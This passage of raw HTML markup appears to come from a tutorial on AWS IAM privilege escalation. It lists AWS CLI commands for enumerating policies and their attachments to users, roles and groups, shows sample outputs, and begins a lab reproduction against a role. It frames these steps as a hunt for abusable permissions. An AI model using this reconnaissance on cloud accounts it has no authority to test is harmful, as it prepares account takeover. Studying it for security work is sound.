class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-policies --query &amp;#34;Policies[*].{PolicyName:PolicyName, Arn:Arn}&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Example response&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyName&amp;#34;: &amp;#34;AdministratorAccess&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Arn&amp;#34;: &amp;#34;arn:aws:iam::aws:policy/AdministratorAccess&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; },&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyName&amp;#34;: &amp;#34;S3FullAccess&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Arn&amp;#34;: &amp;#34;arn:aws:iam::aws:policy/S3FullAccess&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;]&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This shows every policy in the current AWS account, including:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Highly privileged policies&lt;/strong&gt; (such as &lt;code&gt;AdministratorAccess&lt;/code&gt;)&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Potentially abusable policies&lt;/strong&gt; (those granting permissions such as &lt;code&gt;PassRole&lt;/code&gt; or &lt;code&gt;CreateUser&lt;/code&gt;)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;h5 id="querying-a-policys-default-version"&gt;&lt;a href="#querying-a-policys-default-version" class="header-anchor"&gt;&lt;/a&gt;Querying a Policy&amp;rsquo;s &lt;code&gt;Default Version&lt;/code&gt;&#10;&lt;/h5&gt;&lt;p&gt;Goal: Find a policy&amp;rsquo;s &lt;code&gt;VersionId&lt;/code&gt;, then use &lt;code&gt;GetPolicyVersion&lt;/code&gt; to retrieve its exact permissions.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam get-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Example response&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Policy&amp;#34;: {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyName&amp;#34;: &amp;#34;AdministratorAccess&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Arn&amp;#34;: &amp;#34;arn:aws:iam::aws:policy/AdministratorAccess&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;DefaultVersionId&amp;#34;: &amp;#34;v1&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;AttachmentCount&amp;#34;: 10,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PermissionsBoundaryUsageCount&amp;#34;: 0,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;IsAttachable&amp;#34;: true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Key point:&lt;/strong&gt; &lt;code&gt;DefaultVersionId&lt;/code&gt; &lt;strong&gt;is&lt;/strong&gt; &lt;code&gt;v1&lt;/code&gt;. This &lt;code&gt;v1&lt;/code&gt; is the policy version currently in effect.&lt;/p&gt;&#10;&lt;h5 id="reading-the-full-policy-document"&gt;&lt;a href="#reading-the-full-policy-document" class="header-anchor"&gt;&lt;/a&gt;Reading the Full Policy Document&#10;&lt;/h5&gt;&lt;p&gt;Goal: Use &lt;code&gt;iam:GetPolicyVersion&lt;/code&gt; to read the policy permissions and look for permissions that can be abused.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --version-id v1&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Example response&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyVersion&amp;#34;: {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Document&amp;#34;: {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Statement&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Action&amp;#34;: &amp;#34;*&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Resource&amp;#34;: &amp;#34;*&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; },&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;VersionId&amp;#34;: &amp;#34;v1&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;IsDefaultVersion&amp;#34;: true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;If&lt;/strong&gt; &lt;code&gt;Action: &amp;quot;*&amp;quot;&lt;/code&gt; &lt;strong&gt;and&lt;/strong&gt; &lt;code&gt;Resource: &amp;quot;*&amp;quot;&lt;/code&gt; &lt;strong&gt;are present, this is an&lt;/strong&gt; &lt;code&gt;AdministratorAccess&lt;/code&gt; &lt;strong&gt;policy, which provides full control over the AWS account&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;p&gt;Run through the entire process above, because things get a little more complicated later. The theory section already covered this: the technique is mainly useful &lt;strong&gt;after you know which policy is attached to a role you control. If you don&amp;rsquo;t know which policies are attached to your controllable roles, querying this is completely useless.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;Next, let&amp;rsquo;s introduce six important permissions that work with iam:GetPolicyVersion.&lt;/p&gt;&#10;&lt;h5 id="querying-policies-attached-to-a-user"&gt;&lt;a href="#querying-policies-attached-to-a-user" class="header-anchor"&gt;&lt;/a&gt;Querying Policies Attached to a User&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Managed policies&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-attached-user-policies --user-name &amp;lt;USERNAME&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Required permission&lt;/strong&gt;: &lt;code&gt;iam:ListAttachedUserPolicies&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Example output&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;AttachedPolicies&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyName&amp;#34;: &amp;#34;AdminPolicy&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyArn&amp;#34;: &amp;#34;arn:aws:iam::123456789012:policy/AdminPolicy&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Inline policies&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-user-policies --user-name &amp;lt;USERNAME&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Required permission&lt;/strong&gt;: &lt;code&gt;iam:ListUserPolicies&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Example output&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyNames&amp;#34;: [&amp;#34;InlinePolicyForUser&amp;#34;]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="querying-policies-attached-to-a-role"&gt;&lt;a href="#querying-policies-attached-to-a-role" class="header-anchor"&gt;&lt;/a&gt;Querying Policies Attached to a Role&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Managed policies&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-attached-role-policies --role-name &amp;lt;ROLE_NAME&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Required permission&lt;/strong&gt;: &lt;code&gt;iam:ListAttachedRolePolicies&lt;/code&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Inline policies&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-role-policies --role-name &amp;lt;ROLE_NAME&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Required permission&lt;/strong&gt;: &lt;code&gt;iam:ListRolePolicies&lt;/code&gt;&lt;/p&gt;&#10;&lt;h5 id="querying-policies-attached-to-a-group"&gt;&lt;a href="#querying-policies-attached-to-a-group" class="header-anchor"&gt;&lt;/a&gt;Querying Policies Attached to a Group&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Managed policies&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-attached-group-policies --group-name &amp;lt;GROUP_NAME&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Required permission&lt;/strong&gt;: &lt;code&gt;iam:ListAttachedGroupPolicies&lt;/code&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Inline policies&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-group-policies --group-name &amp;lt;GROUP_NAME&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Required permission&lt;/strong&gt;: &lt;code&gt;iam:ListGroupPolicies&lt;/code&gt;&lt;/p&gt;&#10;&lt;h4 id="reproduction-and-verification-2"&gt;&lt;a href="#reproduction-and-verification-2" class="header-anchor"&gt;&lt;/a&gt;Reproduction and Verification&#10;&lt;/h4&gt;&lt;p&gt;The next part is fairly simple. We just need to query EC2S3AccessRole and take a look.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Users\xxxxxx&amp;gt;aws iam list-attached-role-policies --role-name EC2S3AccessRole&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;AttachedPolicies&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyName&amp;#34;: &amp;#34;AmazonS3ReadOnlyAccess&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyArn&amp;#34;: &amp;#34;arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; },&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyName&amp;#34;: &amp;#34;AmazonS3FullAccess&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyArn&amp;#34;: &amp;#34;arn:aws:iam::aws:policy/AmazonS3FullAccess&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; },&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyName&amp;#34;: &amp;#34;AWSLambda_FullAccess&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyArn&amp;#34;: &amp;#34;arn:aws:iam::aws:policy/AWSLambda_FullAccess&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Users\xxxxxx&amp;gt;aws iam list-role-policies --role-name EC2S3AccessRole&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span 